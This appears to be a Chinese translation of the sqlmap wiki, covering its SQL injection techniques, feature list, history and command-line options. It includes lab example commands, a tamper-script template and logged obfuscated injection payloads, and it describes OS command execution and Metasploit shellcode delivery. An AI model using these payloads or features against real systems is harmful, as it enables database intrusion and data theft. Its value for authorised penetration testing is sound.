介绍
GET,POST 或 Cookie 参数或 HTTP User-Agent 请求头发送。 因而,你想测试是否可以通过参数构造出 SQL 注入漏洞,如果有漏洞,则可以利用它们从后端 DBMS(Database Management System,数据库管理系统)中获取尽可能多的信息,甚至进一步控制底层的文件系统和操作系统。+ 会被转成空格)),而:index.php 的 GET 参数 id 存在 SQL 注入漏洞。此外,这种情形也表明用户输入的数据在 SQL 语句传送到 DBMS 之前没有被过滤。id 进行相关的漏洞检测。get_ini.php 页面中如何使用用户提交的参数值构建出相应的 SELECT 语句做一个大致的猜测。参考下面的 PHP 伪代码:id 参数后面添加符合语法并且布尔值为 True 的 SQL 语句(例如 id=1 AND 1=1),能够使 Web 应用返回和之前合法请求(没有添加其它的 SQL 语句)一模一样的页面。由此可见,后端 DBMS 执行了先前我们注入的 SQL 语句。上面的例子展示了一个基于布尔值的简单 SQL 盲注。当然,sqlmap 可以检测出任意类型的 SQL 注入漏洞,并相应地调整其后续的工作流程。[...]&id=1; 其他 SQL 查询语句#。http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 添加到 sqlmap,它能够自动完成下面操作:-
识别有漏洞的参数(比如这个例子中的
id)
-
针对有漏洞的参数,自动选取对应类型的 SQL 注入技术
-
识别后端 DBMS 的相关指纹信息
-
根据用户使用的选项,它还能采集尽可能多的指纹信息,拉取数据或是掌管整个数据库服务器
-d,它允许你通过 DBMS 守护进程监听的 TCP 端口直接连接目标数据库服务器,便于你使用 SQL 注入技术对目标数据库进行攻击。技术
-
布尔型盲注(Boolean-based blind):sqlmap 会替换或添加 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的
SELECT子查询,也可以是任意用于获取输出数据的 SQL 语句。针对每个注入检测的 HTTP 响应,sqlmap 通过对比原始请求响应的 headers/body,从而逐个字符地推导出注入语句的输出。或者,用户可以预先提供一个字符串或正则表达式,用于对正确页面结果进行匹配。sqlmap 内部实现了二分算法,使得输出中的每一个字符可在最多 7 个 HTTP 请求内被获取。如果请求响应结果不是简单的明文字符集,sqlmap 会采取更大范围的算法来检测输出。
-
时间型盲注(Time-based blind):sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间进行比较,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技术一样,二分算法也会被应用。
-
报错型注入(Error-based):sqlmap 会替换或者添加用于引发特定数据库错误的 SQL 语句到查询参数里面,并通过解析对应的注入结果,判断特定的数据库错误信息是否存在响应的 headers/body 中。这项技术只有在 Web 应用配置开启后端 DBMS 错误信息提醒才有效。
-
联合查询注入(UNION query-based):sqlmap 会在查询参数中添加以
UNION ALL SELECT开头的合法 SQL 语句。当 Web 应用在for循环中直接传递SELECT语句的查询结果,或采用了类似的方法将查询结果在页面中逐行输出时,这项技术会生效。当查询结果不使用for循环进行全部输出而只输出首个结果,sqlmap 还能够利用偏(单入口)联合查询 SQL 注入漏洞。
- 堆叠查询注入(Stacked queries),也被称为捎带查询注入(piggy backing):sqlmap 会测试 Web 应用是否支持堆叠查询,如果支持,则在 HTTP 请求的查询参数中添加一个分号(
;),并在后面加上注入的 SQL 语句。这项技术不仅适用于执行SELECT语句,同样适用于执行数据定义或者数据操作等 SQL 语句,同时可能可以获取到文件系统的读写权限和系统命令执行权限,不过这很大程度上取决于底层 DBMS 和当前会话用户的权限
特性
-
完全支持 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Percona, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB 与 Virtuoso 等 DBMS(Database Management System,数据库管理系统)。
-
完全支持五种 SQL 注入技术:布尔型盲注(Boolean-based blind),时间型盲注(Time-based blind),报错型注入(Error-based),联合查询注入(UNION query-based)和堆叠查询(Stacked queries)注入。
-
支持通过提供 DBMS 凭证,IP 地址,端口和数据库名而非 SQL 注入直接连接数据库。
-
支持用户提供单个目标 URL,通过 Burp proxy 或 WebScarab proxy 的请求日志文件批量获取目标地址列表,从文本文件获得完整的 HTTP 请求报文或使用 Google dork——使用 Google 查询并解析结果页面获取批量目标。也可以自定义正则表达式进行验证解析。
-
可以测试并利用 GET 和 POST 参数,HTTP 头中的 Cookie,User-Agent 和 Referer 这些地方出现的 SQL 注入漏洞。也可以指定一个用英文逗号隔开的参数列表进行测试。
-
支持自定义**最大 HTTP(S) 并发请求数(多线程)**以提高盲注的速度。同时,还可以设置每个 HTTP(S) 请求的间隔时间(秒)。当然,还有其他用来提高测试速度的相关优化选项。
-
支持设置 HTTP 头中的
Cookie,当你需要为基于 cookies 身份验证的目标 Web 应用提供验证凭证,或者是你想要对 cookies 这个头部参数进行测试和利用 SQL 注入时,这个功能是非常有用的。你还可以指定对 Cookie 进行 URL 编码。
-
自动处理来自 Web 应用的 HTTP
Set-Cookie消息,并重建超时过期会话。这个参数也可以被测试和利用。反之亦然,你可以强制忽略任何Set-Cookie消息头信息。
-
支持 HTTP Basic,Digest,NTLM 和 Certificate authentications 协议。
-
HTTP(S) 代理支持通过使用验证代理服务器对目标应用发起请求,同时支持 HTTPS 请求。
-
支持伪造 HTTP
Referer和 HTTPUser-Agent,可通过用户或者从一个文本文件中随机指定。
-
支持设置输出信息的详细级别:共有七个级别的详细程度。
-
支持从目标 URL 中解析 HTML 表单并伪造 HTTP(S) 请求以测试这些表单参数是否存在漏洞。
-
通过用户设置选项调整粒度和灵活性。
-
对每一次查询实时评估完成时间,使用户能知道输出结果需要的大概时长。
-
在抓取数据时能实时自动保存会话(对应查询和输出结果,支持部分获取保存)到一个文本文件中,并通过解析会话文件继续当前进行的注入检测。
-
支持从 INI 配置文件中读取相关配置选项而不是每次都要在命令行中指定。支持从命令行中生成对应的配置文件。
-
支持复制后端数据库表结构和数据项到本地的 SQLite 3 数据库中。
-
支持从 SVN 仓库中将 sqlmap 升级到最新的开发版本。
-
支持解析 HTTP(S) 请求响应并显示相关的 DBMS 错误信息。
-
支持基本 Web 服务器和 Web 应用技术的指纹信息识别技术。
-
支持获取 DBMS banner,会话用户和当前数据库等信息。sqlmap 还能检查当前会话用户是否为数据库管理员(DBA)帐号。
-
支持枚举用户,密码散列,权限,角色,数据库,数据表和数据列。
-
支持自动识别密码散列格式并使用用字典攻击尝试破解。
-
支持暴力猜解表名和列名。当会话用户没有读取系统表的权限或数据库没有存储表结构信息(例如 MySQL < 5.0)时,这项功能会非常有用。
-
支持完整地导出数据表,或用户指定的部分数据项、数据列。用户甚至可以只导出部分数据项中的部分字符串。
-
支持自动导出数据库所有的数据表和数据实体。在导出时,可以剔除部分指定数据表。
-
支持搜索指定的数据库名,在数据库中搜索表,或在所有表中搜索列名。这是一项很有用的功能,例如,可以通过搜索列名中包含像 name 和 pass 的表来确定哪些表包含用户敏感信息。
-
支持交互式 SQL 客户端功能,用于连接后端数据库并执行 SQL 语句。sqlmap 会自动分析用户所提供的 SQL 语句,以此决定用最合适的技术去注入并打包相应的 SQL payload。
-
支持用户自定义函数注入:用户可以编译生成共享代码库并通过 sqlmap 在数据库中创建共享库中没有的用户自定义函数。可以通过 sqlmap 执行或者移除这些 UDFs。这些功能当前只支持 MySQL 和 PostgreSQL 数据库。
-
支持从运行 MySQL,PostgreSQL 和 Microsoft SQL Server 的数据库服务器文件系统中下载和上传文件。
-
支持在运行 MySQL,PostgreSQL 和 Microsoft SQL Server 的数据库服务器操作系统中执行任意命令并获取相应输出。
-
支持在运行 MySQL 和 PostgreSQL 数据库服务器上定义用户自定义函数注入并执行。
-
支持在运行 Microsoft SQL Server 数据库服务器上使用
xp_cmdshell()存储过程。同时,如果注入的存储过程被 DBA 禁用则会被自动启用,在被移除时,则会自动创建。
-
支持在操作系统中建立攻击者机器和数据库服务器之间的有状态的带外数据 TCP 连接。根据用户选择这个通信通道可以是交互式命令行,Meterpreter 会话或图形用户界面(VNC)会话。sqlmap 依赖 Metasploit 生成 shellcode ,支持通过四种技术在数据库服务器执行。这些技术分别是:
-
通过 sqlmap 自带的用户自定义
sys_bineval()函数,在内存中执行 Metasploit shellcode。当前支持 MySQL 和 PostgreSQL。 -
-
对于 MySQL 和 PostgreSQL,通过 sqlmap 自带的用户自定义
sys_exec()函数上传并执行一个 Metasploit 独立运行的 payload,对于 Microsoft SQL Server 则使用xp_cmdshell()。 -
-
通过 SMB 反射攻击(MS08-068)执行 Metasploit shellcode,这需要目标数据库服务器向已被 Metasploit
smb_relay监听的攻击者机器发出一个 UNC 路径请求。当 sqlmap 以 Linux/Unix 高权限(uid=0)运行,并且目标 DMBS 在 Windows 中以管理员身份运行时支持该功能。 -
-
通过利用 Microsoft SQL Server 2000 和 2005 中存在的
sp_replwritetovarbin存储过程堆缓冲区溢出(MS09-004)在内存中执行 Metasploit shellcode。sqlmap 有内置脚本可以自动绕过 DEP 内存保护去触发目标系统漏洞,该脚本依赖 Metasploit ,用于生成 shellcode 以执行攻击。 -
- 支持访问(读取/添加/删除)Windows 注册表配置单元。
下载更新
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devpip install --upgrade sqlmappython sqlmap.py --updategit pull相关依赖
-d 选项),你需要根据攻击目标中不同 DBMS(Database Management System,数据库管理系统)安装不同的 Python 连接依赖包:-
DB2: python ibm-db
-
Firebird: python-kinterbasdb
-
Microsoft Access: python-pyodbc
-
Microsoft SQL Server: python-pymssql
-
MySQL: python pymysql
-
Oracle: python cx_Oracle
-
PostgreSQL: python-psycopg2
-
SQLite: python-pysqlite2
-
Sybase: python-pymssql
历史
译自:History
-
十二月,在这一年中,sqlmap 新增了很多新的功能特性,同时修复了数百个 bugs。
-
四月 10 日,Bernardo 和 Miroslav 发布了 sqlmap 0.9 版本,重写了整个 SQL 注入检测引擎,能够直连数据库服务器,同时支持了时间型盲注(Time-based blind)和报错型注入(Error-based),并支持了四种新的 DBMS(Database Management System,数据库管理系统)。
-
三月 14 日,Bernardo 和 Miroslav 发布 sqlmap 0.8 稳定版本,增加了很多新特性。众多新特性中,包括了枚举数据库数据表,导出用户指定的数据表等功能,同时版本更加稳定并增强了其渗透功能。同时更新了对 Metasploit 3.3.3 的支持,及其他的功能添加和 bug 修复。
-
十一月 20 日,在 Warsaw,Poland 举行的 CONfidence 2009 大会上,Bernardo 和 Guido 发表了他们关于数据库服务器渗透方面的研究。
-
九月 26 日,在 SOURCE Barcelona 2009 大会上,sqlmap 公布了托管在 SVN 仓库 上的 0.8 第 1 候选 版本,公开了大量的攻击工具。包括能够自动绕过 Microsoft SQL Server DEP 内存保护的缓冲区溢出攻击工具,支持通过 UDF sys_bineval()(反取证技术)在内存中执行 Metasploit shellcode,从而与目标数据库服务器建立带外连接,支持对 Windows 注册表进行读写,并支持用户自定义函数注入。
-
八月,Bernardo 被邀请为 SOURCE Barcelona 2009 和 CONfidence 2009 Warsaw 两个 IT 安全大会的演讲者。新的研究课题是如何通过数据库进一步控制操作系统。
-
七月 25 日,sqlmap 0.7 稳定版本发布!
-
六月 27 日,在 Lisbon,Portugal 举行的 2nd Digital Security Forum 大会上,Bernardo 发布了新版本的 SQL 注入:不只是 AND 1=1 幻灯片。
-
六月 2 日,sqlmap 0.6.4 版本被添加到 Ubuntu 的官方仓库中。
-
五月,在 Warsaw,Poland 举行的 OWASP AppSec Europe 2009 和 London,UK 的 EUSecWest 2009 大会上,Bernardo 发表了通过 SQL 注入入侵操作系统的相关研究。
-
四月 22 日,在 Black Hat Europe 2009 大会上,sqlmap 0.7 第 1 候选 版本发布,公布了很多攻击工具。这些工具支持在目标系统执行任意的命令,通过集成 Metasploit 支持与目标数据库服务器建立起 TCP 带外连接,首次公布针对 Microsoft SQL Server 2000 和 2005 的 Microsoft Security Bulletin MS09-004 的利用,并且支持数据库服务器的入侵控制,而不仅仅是获取数据库中的数据。
-
三月 5 日,2009 年在 Amsterdam 举行的 Black Hat Europe 以及在 Denver,USA 举行的 Front Range OWASP 大会上,Bernardo 首次 展示 了 sqlmap 的新特性和近期会支持的新功能。分享的主题为 SQL 注入:不只是 AND 1=1。
-
二月 3 日,sqlmap 0.6.4 版本是 0.6 系列的最后一个版本:通过利用 0.6.3 版本实现的堆叠查询(Stacked queries)功能,sqlmap 能够执行任意的 SQL 语句,不再局限于 SELECT 语句。同时,在这次版本发布中,许多新的功能特性变得更加稳定,执行效率有了很大的提升。
-
十二月 18 日,sqlmap 0.6.3 版本发布,支持从 Burp 和 WebScarab 代理日志文件获取目标,支持对堆叠查询的测试和时间型盲注的 SQL 注入,更多业内使用的 Web 服务器和 Web 应用技术指纹信息识别技术,支持 HTTP 请求自定义及枚举数据库的相关信息功能。
-
十一月 2 日,sqlmap 0.6.2 版本只是“bug 修复”版本。
-
十月 20 日,sqlmap 0.6.1 版本正式发布,这个版本包含部分 bug 修改,及添加了用于连接 Metasploit 的工具:用于在 Metasploit 中打开 sqlmap 的辅助工具。SVN 代码仓库重新对大众开放。
-
九月 1 日,在上次版本发布后的一年后,sqlmap 0.6 经历了完全的代码重构,支持执行任意的 SQL SELECT 语句,同时添加了支持枚举和导出特定数据的相关参数,更新了 Debian,Red Hat,Windows 下相关的软件安装包。
-
一月,sqlmap SVN 代码仓库被从 SourceForge 移除,临时成为私有仓库。
-
十一月 4 日,版本 0.5 的发布标志着 OWASP Spring of Code 2007 比赛的结束。Bernardo 完成了 之前提出的所有目标,包括添加对 Oracle 的相关支持,联合查询 SQL 注入的功能增强,以及 HTTP Cookies 和 User-Agent 的注入分析测试。
-
六月 15 日,Bernardo 在 OWASP Spring of Code 2007 里程碑结束后发布了 sqlmap 0.4 版本。相对之前的版本,该版本提升了 DBMS 指纹信息识别功能,支持估算数据从目标数据库服务器返回时间和枚举特定数据的相关参数,同时配备了全新的日志系统。
-
一月 20 日,sqlmap 0.3 版本发布,开始支持 Microsoft SQL Server,支持 联合查询 SQL 注入和 POST 参数注入等相关测试和渗透功能。
-
十二月 13 日,Bernardo 发布了 sqlmap 0.2 版本,该版本增强了 DBMS 的指纹信息识别功能,同时将原先内部实现的推导算法换成了二分算法。
-
八月,Daniele 为 PostgreSQL 添加了相关的支持并发布了 0.1 版本。
- 七月 25 日,Daniele Bellucci 在 SourceForge 上添加了 sqlmap 项目,并使用 SourceForge SVN 仓库 进行代码托管。基本的架构成型,只支持 MySQL 相关功能。
用法
译自:Usage
|
用法:python sqlmap.py [选项] 选项: 目标: -u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1") 请求: -A AGENT, --user.. 设置 HTTP User-Agent 头部值 优化: -o 开启所有优化开关 注入: -p TESTPARAMETER 指定需要测试的参数 检测: --level=LEVEL 设置测试等级(1-5,默认为 1) 技术: --technique=TECH.. 使用的 SQL 注入技术(默认为“BEUSTQ”,译者注: 指纹识别: 枚举: -a, --all 获取所有信息、数据 暴力破解: --common-tables 检测常见的表名是否存在 用户自定义函数注入: --udf-inject 注入用户自定义函数 访问文件系统: --file-read=FILE.. 读取后端 DBMS 文件系统中的文件 访问操作系统: --os-cmd=OSCMD 执行操作系统命令 访问 Windows 注册表: --reg-read 读取一个 Windows 注册表键值 通用选项: -s SESSIONFILE 从文件(.sqlite)中读入会话信息 杂项: -z MNEMONICS 使用短助记符(例如:“flu,bat,ban,tec=EU”) |
输出详细等级
-v-
0:只输出 Python 出错回溯信息,错误和关键信息。
-
1:增加输出普通信息和警告信息。
-
2:增加输出调试信息。
-
3:增加输出已注入的 payloads。
-
4:增加输出 HTTP 请求。
-
5:增加输出 HTTP 响应头
-
6:增加输出 HTTP 响应内容。
-t 生成的流量日志文件标准输出文件。v 的个数来确定详细等级(例如:用 -v 代替 -v 2,用 -vv 代替 -v 3,用 -vvv 代替 -v 4,依此类推)。目标
-d-
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等。)
-
DBMS://DATABASE_FILEPATH(SQLite,Microsoft Access,Firebird 等。)
-u 或 --urlhttp(s)://targeturl[:port]/[...]-l-m-r--force-ssl 开关强制使用 SSL 进行 443/tcp 连接。或者,你可以在 Host 头部信息后面直接加上 :443。stdin)中解析目标地址-g-csqlmap.conf。请求
--methodPUT)。因而该选项是可能被用到的(例如:--method=PUT)。--data--param-del&),以便 sqlmap 能够正确切割并处理每个参数。--cookie,--cookie-del,--live-cookies,--load-cookies 和 --drop-set-cookie-
Web 应用程序需要基于 cookies 的身份验证,并且你知道对应的参数。
-
你想对相关的 HTTP 头部进行检测和 SQL 注入。
-
使用你最喜欢的浏览器登录该应用。
-
从浏览器的选项或 HTTP 代理中复制 Cookie。
-
回到 shell 并使用复制的 cookies 作为选项
--cookie的值运行 sqlmap。
Cookie 值通常由字符 ; 分隔,而不是使用 &。sqlmap 也可以将它们识别为 parameter=value 即参数值对,对应的 GET 和 POST 参数也一样。如果分隔字符不是 ;,则可以使用选项 --cookie-del 来指定。Set-Cookie 响应头,sqlmap 将在所有其他 HTTP 请求中自动使用它的值作为 Cookie 的值。sqlmap 也将自动测试这些值是否存在 SQL 注入漏洞。这个特性可以通过提供开关 --drop-set-cookie 来关闭——sqlmap 则会忽略任何 Set-Cookie 响应头。--cookie 的 HTTP Cookie 请求头,并且目标 URL 在任何时候都发送一个 HTTP Set-Cookie 响应头,sqlmap 会询问你使用哪一组 cookies 来用于接下来的 HTTP 请求。--live-cookies 可用于提供一个 cookies 文件,该文件可用于加载最新的 cookies 值。这意味着它会在每个请求发起之前被读取,以获取最新的 HTTP Cookie 头部。--load-cookies,可以从包含 Netscape/wget 格式 cookies 的特殊文件中读取 cookies。--level 设置为 2 或更高,则 sqlmap 会对 HTTP Cookie 请求头进行 SQL 注入测试。详情请看下文。User-Agent 请求头--user-agent 和 --random-agentUser-Agent 请求头值执行 HTTP 请求:--user-agent 来伪造它。--random-agent,sqlmap 将从 ./txt/user-agents.txt 文本文件中随机选择一个 User-Agent,并将其用于该会话中的所有 HTTP 请求。User-Agent 请求头值进行服务端检查,如果没有提供有效的 User-Agent,它的值不是常规值或被 Web 应用程序防火墙或类似防御系统列入黑名单,则服务端会拒绝 HTTP 响应。在这种情况下,sqlmap 将显示如下信息:--level 设置为 3 或以上,sqlmap 会对 HTTP User-Agent 请求头进行 SQL 注入测试。详情请看下文。Host 请求头--hostHost 请求头值。默认情况下,HTTP Host 请求头从提供的目标 URL 中解析。--level 设置为 5 或以上,sqlmap 会对 HTTP User-Agent 请求头进行 SQL 注入测试。详情请看下文。Referer 请求头--refererReferer 请求头值。如果没有进行显式设置,默认情况下不会在 HTTP 请求中发送 HTTP Referer 请求头。--level 设置为 3 或更高,sqlmap 会对 HTTP Referer 请求头进行 SQL 注入测试。详情请看下文。--headers--headers 来提供额外的 HTTP 请求头。每个请求头必须用换行符分隔,更好的方式是从 INI 配置文件读取。你可以看看范本 sqlmap.conf 文件中的例子。--auth-type 和 --auth-cred-
Basic
-
Digest
-
NTLM
username:password。--auth-filekey_file。--auth-file 选项的 key_file.txt 文件示例:--ignore-code--ignore-code 选项--proxy,--proxy-cred,--proxy-file 和 --ignore-proxy--proxy 并提供 HTTP(S) 代理地址使 HTTP(S) 请求经过该代理到达目标 URL。设置 HTTP(S) 代理的语法是 http://url:port。--proxy-cred 使用 username:password 格式添加对应的凭证。--proxy-file 并指定包含批量代理的文件。--ignore-proxy 来绕过系统级的 HTTP(S) 代理服务。--tor,--tor-port,--tor-type 和 --check-tor--tor-type 和 --tor-port(例如:--tor-type=SOCKS5 --tor-port 9050)。--check-tor 来确保一切设置正确。有些情况下 Tor 包(例如:Vidalia(译者注:Vidalia 是 Tor 的图形界面管理工具,官方已经移除对它的支持))配置错误(或重置了以前的配置)会使你以为已经成功匿名。使用这个开关,sqlmap 将在对任何目标发起请求之前发送一个请求到你正在使用 Tor?这个官方页面检查一切配置是否正常。如果检查失败,sqlmap 将警告你并直接退出。--delay0.5 表示半秒。默认情况下,没有设置延迟。--timeout--retries--randomize--scope-l 从日志中解析出的所有主机目标。--safe-url,--safe-post,--safe-req 和 --safe-freq-
--safe-url:测试期间可以安全频繁访问的 URL 地址。
-
--safe-post:使用 HTTP POST 发送数据到一个安全的 URL 地址。
-
--safe-req:从文件中加载并使用安全的 HTTP 请求。
-
--safe-freq:交替执行指定的安全地址访问和目标测试请求。
--skip-urlencode--skip-urlencode。--csrf-token 和 --csrf-url--csrf-token 和 --csrf-url 等选项用来做进一步调整。选项 --csrf-token 用于设置包含随机 token 的隐藏字段的名称。这在网站对这些字段使用非标准名称的情况下是非常有用的。选项 --csrf-url 用于从任意有效的 URL 地址获取 token 值。这在目标网址在初始地不包含必需的 token 值,而需要从其他地方提取时是非常有用的。--force-ssl--crawl 收集 URLs 或者使用选项 -l 提供 Burp 日志时,该开关是很有用的。--eval--eval 为 sqlmap 提供自定义的 python 代码,代码将在每个请求之前运行。id 参数值重新计算出对应的 MD5 哈希值,从而替换掉原来的 hash 参数值。优化
-o-
--keep-alive
-
--null-connection
-
--threads=3默认值,可以设置更大值。
--predict-outputtxt/common-outputs.txt 里面的条目及集合论相关知识预测并给出可能性最高的字符数理统计表。如果目标字符值可以在最常见的输出结果中找到,那么接下来的字符数理统计表范围会逐渐缩小。配合从 DBMS(Database Management System,数据库管理系统)中获取的实例、表名和对应的权限,那么加速效果会显著提高。当然,你可以根据自身需求对常见的输出文件进行编辑,例如,你发现了数据库表名的常见模式或者其他模式。--threads 一起使用。--keep-alive--proxy 一起使用。--null-connectionTrue 还是 False。如果开启了这个开关,sqlmap 会测试并利用两种不同的 NULL 连接技术:Range 和 HEAD。如果目标服务器能够满足其中之一的请求方式,那将能够减小使用的带宽,加速整个测试过程。--text-only 一起使用。--threads--predict-output 一起使用。注入
-p,--skip 和 --param-exclude--level 的值 >= 2,它还会测试 HTTP Cookie 头部值。当这个值 >= 3 时,它还会测试 HTTP User-Agent 和 HTTP Referer 头部值。而且还可以手动指定一个需要 sqlmap 进行测试的、使用逗号分隔的参数列表。这会使 sqlmap 忽略 --level 的设置。id 和 HTTP User-Agent 时,则提供 -p "id,user-agent"。--skip。如果需要使用高级别 --level 值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。--level=5 跳过测试 HTTP User-Agent 和 HTTP Referer,可以提供 --skip="user-agent,referer"。--param-exclude。token 或 session 的参数测试,可以提供 --param-exclude="token|session"。*)(注意:也支持 Havij 风格 %INJECT HERE%)。*)(注意:同时支持 Havij 风格 %INJECT HERE%)也可以用于指向 GET,POST 或 HTTP 头部中的任意注入点。可以在选项 -u 中标注 GET 的参数值,在选项 --data 中标注 POST 的参数值,在选项 -H 中标注 HTTP 头部值如 --headers,--user-agent,--referer 和 --cookie,或者标注从文件加载的 HTTP 请求中的通用位置,用于指定相应的注入点。--dbms-
MySQL
-
Oracle
-
PostgreSQL
-
Microsoft SQL Server
-
Microsoft Access
-
IBM DB2
-
SQLite
-
Firebird
-
Sybase
-
SAP MaxDB
-
Informix
-
MariaDB
-
Percona
-
MemSQL
-
TiDB
-
CockroachDB
-
HSQLDB
-
H2
-
MonetDB
-
Apache Derby
-
Amazon Redshift
-
Vertica
-
Mckoi
-
Presto
-
Altibase
-
MimerSQL
-
CrateDB
-
Greenplum
-
Drizzle
-
Apache Ignite
-
Cubrid
-
InterSystems Cache
-
IRIS
-
eXtremeDB
-
FrontBase
postgresql)。对于 MySQL 和 Microsoft SQL Server 分别以 MySQL <version> 和 Microsoft SQL Server <version> 的形式提供,其中 <version> 是指 DBMS 的有效版本;例如 MySQL 为 5.0,Microsoft SQL Server 为 2005。--dbms 和 --fingerprint,sqlmap 将只对指定的 DBMS 执行详细的指纹收集,更详细的信息请阅读下文。--os-
Linux
-
Windows
--invalid-bignumid=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用大整数值来达到一样的效果(例如:id=99999999)。--invalid-logicalid=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用布尔运算来达到一样的效果(例如:id=13 AND 18=19)。--invalid-stringid=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用随机字符串来达到一样的效果(例如:id=akewmc)。--no-castNULL 值。这样做是为了避免任何错误的状态(例如:使用字符串连接 NULL 值)并简化数据检索过程本身。然而,根据报告有些情形(例如:MySQL DBMS 的旧版本)由于数据检索本身存在问题(例如:返回了 None 值),需要关闭此机制(使用此开关)。--no-escapeSELECT 'foobar')的情况下,这些值将被自动转义(例如:SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)(译者注:该例语法适用于 Microsoft SQL Server))。这么做有两个原因:对 payload 内容进行模糊处理,还有防止后端服务器上潜在的查询转义机制(例如:magic_quotes 和/或 mysql_real_escape_string)。用户可以使用此开关将其关闭(例如:需要减小 payload 的大小时)。--prefix 和 --suffix|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
|
JOIN 查询中时,需要提供它。--tamperCHAR() 进行替换。tamper/ 文件夹中的脚本,并使用逗号分隔连接它们作为 --tamper 选项的值(例如:--tamper="between,randomcase")。|
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
|
tamper/ 目录中查看有效和可用的修改脚本。>、空格和大写的 SELECT 字符串被禁止:|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]
|
检测
--levelxml/payloads.xml 中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。--level 值。--level 值用于检测。--riskOR 类型的布尔型盲注(Boolean-based blind)测试。UPDATE 语句进行 SQL 注入,注入一个 OR 类型的 payload 会导致目标数据表的所有记录进行更新,显然这个不是攻击者想要的结果。针对这个场景及其他相关场景,sqlmap 引入了 --risk 这个选项。通过这个选项:用户可以指定检测特定的 payload,同时用户可任意选择使用可能比较危险的操作。正如上面的选项提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml 载入的,该文件支持用户自定义编辑添加。--string,--not-string,--regexp 和 --codeTrue 查询和 False 查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果页面是否一致进行判断的。--string 选项),这个字符串需要出现在原页面(这个并不是强制规定)和所有查询结果为 True 的页面查询中,并且不出现在查询结果为 False 的页面。除了提供静态的字符串外,用户可以提供正则表达式(--regexp 选项)用于匹配。此外,用户可以提供一个字符串(--not-string 选项),该字符串不能出现在原页面或者所有查询结果为 True 的页面,而总是出现在查询结果为 False 的页面。True 查询和 False 查询(例如:200 对应 True,401 对应 False),那么可以向 sqlmap 提供对应的信息。(例如:--code=200)。--text-only 和 --titlesTrue 查询和 False 查询(例如:Welcome 对应 True,Forbidden 对应 False),那么可以使用 --titles 开启基于标题对比的开关。--text-only)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎。技术
--techniqueB,E,U,S,T 和 Q 这样的字符任意组合成的字符串,每个字母代表不同的技术:-
B:布尔型盲注(Boolean-based blind)
-
E:报错型注入(Error-based)
-
U:联合查询注入(UNION query-based)
-
S:堆叠查询注入(Stacked queries)
-
T:时间型盲注(Time-based blind)
-
Q:内联查询注入(inline Query)
